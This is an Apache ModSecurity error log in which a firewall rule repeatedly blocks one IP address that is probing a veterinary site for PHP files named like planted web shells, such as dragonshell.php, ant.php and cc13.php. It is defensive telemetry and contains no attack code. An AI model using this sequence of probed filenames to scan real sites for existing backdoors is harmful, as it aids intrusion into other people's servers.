[Sun Mar 29 22:29:04.998378 2026] [:error] [pid 23137:tid 23149] [client 52.242.135.164:21818] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n1GiO.php"] [unique_id "ack3MBaWQa7LdZ_qGFYBVAAAAYo"]
[Sun Mar 29 22:29:06.022636 2026] [:error] [pid 32257:tid 32331] [client 52.242.135.164:30761] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n1GiO.php"] [unique_id "ack3MiE3TArOFrUtgWpJNgAAAI0"]
[Sun Mar 29 22:29:06.613540 2026] [:error] [pid 32257:tid 32326] [client 52.242.135.164:21851] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n1GiO.php"] [unique_id "ack3MiE3TArOFrUtgWpJOAAAAIg"]
[Sun Mar 29 22:29:07.390680 2026] [:error] [pid 8818:tid 8838] [client 52.242.135.164:26530] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/n1GiO.php"] [unique_id "ack3MyCDvotZNSF0FBrn_gAAAVA"]
[Sun Mar 29 22:29:10.993747 2026] [:error] [pid 8818:tid 8826] [client 52.242.135.164:26553] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pLdK1.php"] [unique_id "ack3NiCDvotZNSF0FBroCwAAAUQ"]
[Sun Mar 29 22:29:12.625795 2026] [:error] [pid 32257:tid 32338] [client 52.242.135.164:18843] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pLdK1.php"] [unique_id "ack3OCE3TArOFrUtgWpJRQAAAJQ"]
[Sun Mar 29 22:29:13.595832 2026] [:error] [pid 23284:tid 23296] [client 52.242.135.164:65194] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pLdK1.php"] [unique_id "ack3OYzBujdPHsq7wyS70gAAAoo"]
[Sun Mar 29 22:29:14.459882 2026] [:error] [pid 23284:tid 23287] [client 52.242.135.164:55076] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pLdK1.php"] [unique_id "ack3OozBujdPHsq7wyS72AAAAoE"]
[Sun Mar 29 22:29:15.345604 2026] [:error] [pid 23284:tid 23291] [client 52.242.135.164:55099] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/llb1J.php"] [unique_id "ack3O4zBujdPHsq7wyS73AAAAoU"]
[Sun Mar 29 22:29:16.770688 2026] [:error] [pid 23284:tid 23297] [client 52.242.135.164:31678] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/llb1J.php"] [unique_id "ack3PIzBujdPHsq7wyS74AAAAos"]
[Sun Mar 29 22:29:17.843344 2026] [:error] [pid 23284:tid 23308] [client 52.242.135.164:65521] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/llb1J.php"] [unique_id "ack3PYzBujdPHsq7wyS76gAAApY"]
[Sun Mar 29 22:29:18.550680 2026] [:error] [pid 23284:tid 23310] [client 52.242.135.164:48361] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/llb1J.php"] [unique_id "ack3PozBujdPHsq7wyS77gAAApg"]
[Sun Mar 29 22:29:19.295820 2026] [:error] [pid 8818:tid 8826] [client 52.242.135.164:22491] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jeZDu.php"] [unique_id "ack3PyCDvotZNSF0FBroGgAAAUQ"]
[Sun Mar 29 22:29:20.637355 2026] [:error] [pid 32257:tid 32336] [client 52.242.135.164:54675] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jeZDu.php"] [unique_id "ack3QCE3TArOFrUtgWpJVwAAAJI"]
[Sun Mar 29 22:29:21.205696 2026] [:error] [pid 23284:tid 23290] [client 52.242.135.164:45701] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jeZDu.php"] [unique_id "ack3QYzBujdPHsq7wyS79AAAAoQ"]
[Sun Mar 29 22:29:22.276996 2026] [:error] [pid 32257:tid 32334] [client 52.242.135.164:31653] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/jeZDu.php"] [unique_id "ack3QiE3TArOFrUtgWpJYwAAAJA"]
[Sun Mar 29 22:29:23.046885 2026] [:error] [pid 23250:tid 23260] [client 52.242.135.164:26572] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gec.php"] [unique_id "ack3Q5xrpj-dQjy1cvoLbAAAAkg"]
[Sun Mar 29 22:29:23.537533 2026] [:error] [pid 32255:tid 32307] [client 52.242.135.164:2189] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gec.php"] [unique_id "ack3Q2nfn-AtRoMbquz-xgAAAFA"]
[Sun Mar 29 22:29:24.537907 2026] [:error] [pid 32255:tid 32308] [client 52.242.135.164:60458] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gec.php"] [unique_id "ack3RGnfn-AtRoMbquz-zAAAAFE"]
[Sun Mar 29 22:29:26.343033 2026] [:error] [pid 23168:tid 23212] [client 52.242.135.164:43665] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gec.php"] [unique_id "ack3RmP8p0yRL8ot_2-pqQAAAg8"]
[Sun Mar 29 22:29:27.851507 2026] [:error] [pid 23168:tid 23220] [client 52.242.135.164:30843] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfuKK.php"] [unique_id "ack3R2P8p0yRL8ot_2-psgAAAhc"]
[Sun Mar 29 22:29:28.795280 2026] [:error] [pid 23167:tid 23180] [client 52.242.135.164:59970] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bfuKK.php"] [unique_id "ack3SBIAHJCFaHff3_fKiwAAAco"]
[Sun Mar 29 22:31:36.859685 2026] [:error] [pid 23250:tid 23274] [client 52.242.135.164:61510] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ant.php"] [unique_id "ack3yJxrpj-dQjy1cvoL5AAAAlY"]
[Sun Mar 29 22:31:37.599741 2026] [:error] [pid 23250:tid 23252] [client 52.242.135.164:43773] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ant.php"] [unique_id "ack3yZxrpj-dQjy1cvoL5QAAAkA"]
[Sun Mar 29 22:31:38.415878 2026] [:error] [pid 23284:tid 23290] [client 52.242.135.164:61534] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ant.php"] [unique_id "ack3yozBujdPHsq7wyS9YgAAAoQ"]
[Sun Mar 29 22:31:40.124268 2026] [:error] [pid 23284:tid 23301] [client 52.242.135.164:43769] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ant.php"] [unique_id "ack3zIzBujdPHsq7wyS9bgAAAo8"]
[Sun Mar 29 22:31:40.729955 2026] [:error] [pid 23284:tid 23289] [client 52.242.135.164:43762] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "ack3zIzBujdPHsq7wyS9dQAAAoM"]
[Sun Mar 29 22:31:41.342082 2026] [:error] [pid 23137:tid 23146] [client 52.242.135.164:47030] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "ack3zRaWQa7LdZ_qGFYBpwAAAYc"]
[Sun Mar 29 22:31:42.345747 2026] [:error] [pid 23284:tid 23306] [client 52.242.135.164:24340] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "ack3zozBujdPHsq7wyS9ggAAApQ"]
[Sun Mar 29 22:31:43.617486 2026] [:error] [pid 23284:tid 23305] [client 52.242.135.164:38580] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/as.php"] [unique_id "ack3z4zBujdPHsq7wyS9iAAAApM"]
[Sun Mar 29 22:31:49.503861 2026] [:error] [pid 23284:tid 23306] [client 52.242.135.164:3031] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc13.php"] [unique_id "ack31YzBujdPHsq7wyS9qgAAApQ"]
[Sun Mar 29 22:31:50.760068 2026] [:error] [pid 23284:tid 23287] [client 52.242.135.164:63188] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc13.php"] [unique_id "ack31ozBujdPHsq7wyS9uQAAAoE"]
[Sun Mar 29 22:31:52.726093 2026] [:error] [pid 23168:tid 23212] [client 52.242.135.164:63210] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc13.php"] [unique_id "ack32GP8p0yRL8ot_2-qdwAAAg8"]
[Sun Mar 29 22:31:54.502195 2026] [:error] [pid 23284:tid 23301] [client 52.242.135.164:25080] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/cc13.php"] [unique_id "ack32ozBujdPHsq7wyS90AAAAo8"]
[Sun Mar 29 22:31:55.816323 2026] [:error] [pid 23284:tid 23294] [client 52.242.135.164:32397] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bnm.php"] [unique_id "ack324zBujdPHsq7wyS91wAAAog"]
[Sun Mar 29 22:31:56.688401 2026] [:error] [pid 23250:tid 23252] [client 52.242.135.164:3040] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bnm.php"] [unique_id "ack33Jxrpj-dQjy1cvoL8AAAAkA"]
[Sun Mar 29 22:31:58.013207 2026] [:error] [pid 32255:tid 32292] [client 52.242.135.164:50547] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bnm.php"] [unique_id "ack33mnfn-AtRoMbquwAPwAAAEE"]
[Sun Mar 29 22:31:58.691785 2026] [:error] [pid 32257:tid 32340] [client 52.242.135.164:47091] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bnm.php"] [unique_id "ack33iE3TArOFrUtgWpK7AAAAJY"]
[Sun Mar 29 22:32:00.890274 2026] [:error] [pid 8818:tid 8833] [client 52.242.135.164:40538] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "ack34CCDvotZNSF0FBro0wAAAUs"]
[Sun Mar 29 22:32:02.958400 2026] [:error] [pid 32359:tid 32370] [client 52.242.135.164:18066] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "ack34gMb8G3UzfQP3Wg0bwAAAMk"]
[Sun Mar 29 22:32:03.930798 2026] [:error] [pid 32257:tid 32326] [client 52.242.135.164:31712] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "ack34yE3TArOFrUtgWpK7gAAAIg"]
[Sun Mar 29 22:32:04.743412 2026] [:error] [pid 32359:tid 32384] [client 52.242.135.164:49938] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccs.php"] [unique_id "ack35AMb8G3UzfQP3Wg0cgAAANc"]
[Sun Mar 29 22:32:05.833904 2026] [:error] [pid 8818:tid 8846] [client 52.242.135.164:38534] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccu.php"] [unique_id "ack35SCDvotZNSF0FBro1gAAAVg"]
[Sun Mar 29 22:32:07.299863 2026] [:error] [pid 23137:tid 23149] [client 52.242.135.164:40522] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccu.php"] [unique_id "ack35xaWQa7LdZ_qGFYBtQAAAYo"]
[Sun Mar 29 22:32:08.518875 2026] [:error] [pid 32359:tid 32382] [client 52.242.135.164:18075] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccu.php"] [unique_id "ack36AMb8G3UzfQP3Wg0dgAAANU"]
[Sun Mar 29 22:32:10.286522 2026] [:error] [pid 23284:tid 23299] [client 52.242.135.164:31713] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ccu.php"] [unique_id "ack36ozBujdPHsq7wyS9_gAAAo0"]
[Sun Mar 29 22:32:11.649165 2026] [:error] [pid 32254:tid 32288] [client 52.242.135.164:25030] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/albin.php"] [unique_id "ack366ug2IHuyGgCTn9g7QAAABg"]
[Sun Mar 29 22:32:12.536389 2026] [:error] [pid 32255:tid 32312] [client 52.242.135.164:32446] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/albin.php"] [unique_id "ack37Gnfn-AtRoMbquwAUgAAAFU"]
[Sun Mar 29 22:32:13.472311 2026] [:error] [pid 23167:tid 23184] [client 52.242.135.164:46328] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/albin.php"] [unique_id "ack37RIAHJCFaHff3_fK9wAAAc4"]
[Sun Mar 29 22:32:14.381398 2026] [:error] [pid 32254:tid 32277] [client 52.242.135.164:2592] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/albin.php"] [unique_id "ack37qug2IHuyGgCTn9g8AAAAA0"]
[Sun Mar 29 22:32:15.468526 2026] [:error] [pid 23168:tid 23211] [client 52.242.135.164:40558] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/north1.php"] [unique_id "ack372P8p0yRL8ot_2-qlwAAAg4"]
[Sun Mar 29 22:32:15.862453 2026] [:error] [pid 8818:tid 8826] [client 52.242.135.164:46303] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/north1.php"] [unique_id "ack37yCDvotZNSF0FBro3wAAAUQ"]
[Sun Mar 29 22:32:16.282125 2026] [:error] [pid 32257:tid 32342] [client 52.242.135.164:19578] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/north1.php"] [unique_id "ack38CE3TArOFrUtgWpK-gAAAJg"]
[Sun Mar 29 22:32:16.692502 2026] [:error] [pid 32257:tid 32322] [client 52.242.135.164:53170] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/north1.php"] [unique_id "ack38CE3TArOFrUtgWpK-wAAAIQ"]
[Sun Mar 29 22:32:17.141584 2026] [:error] [pid 32257:tid 32319] [client 52.242.135.164:50555] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dragonshell.php"] [unique_id "ack38SE3TArOFrUtgWpK_gAAAIE"]
[Sun Mar 29 22:32:18.287733 2026] [:error] [pid 23284:tid 23305] [client 52.242.135.164:18099] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dragonshell.php"] [unique_id "ack38ozBujdPHsq7wyS-CQAAApM"]
